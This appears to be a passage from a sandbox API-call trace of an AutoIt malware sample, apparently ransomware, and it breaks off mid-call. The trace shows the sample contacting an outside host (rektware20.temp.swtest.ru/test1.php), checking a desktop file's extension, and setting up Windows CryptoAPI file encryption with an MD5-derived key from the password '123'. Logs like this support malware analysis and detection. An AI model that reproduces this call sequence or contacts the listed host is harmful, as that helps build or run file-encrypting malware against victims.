returned 0 [0081.343] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0081.343] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0081.343] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0081.343] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0081.343] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0081.343] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0081.343] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0081.344] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0081.345] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0081.345] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0081.345] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0081.345] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0081.345] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0081.345] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0081.346] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0081.346] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0081.346] CloseHandle (hObject=0x0) returned 0 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WM4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yQEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.348] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QEw.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.348] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ew.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.348] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.348] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0081.348] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.348] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.348] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0081.348] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.348] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0081.348] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0081.349] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0081.349] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0081.349] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0081.349] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0081.349] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0081.349] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0081.349] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0081.349] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0081.350] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0081.350] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0081.350] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0081.350] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0081.350] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0081.350] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0081.350] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0081.351] CloseHandle (hObject=0x0) returned 0 [0081.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.351] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0081.351] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0081.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.351] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.351] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.351] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0081.351] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.352] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0081.352] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.352] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.352] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0081.352] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.352] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.352] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.352] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.352] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.352] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0081.352] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0081.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0081.353] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0081.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0081.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0081.353] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0081.353] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1632100) returned 1 [0081.354] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.354] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.354] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0081.354] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.354] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.354] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.354] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.354] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.354] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.354] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.355] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0081.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.355] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.355] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.355] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.355] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.355] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.355] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.355] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.356] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.356] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.356] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.356] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.356] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.356] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.356] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.356] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0081.357] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0081.357] CryptCreateHash (in: hProv=0x1632100, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0081.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0081.357] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0081.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, 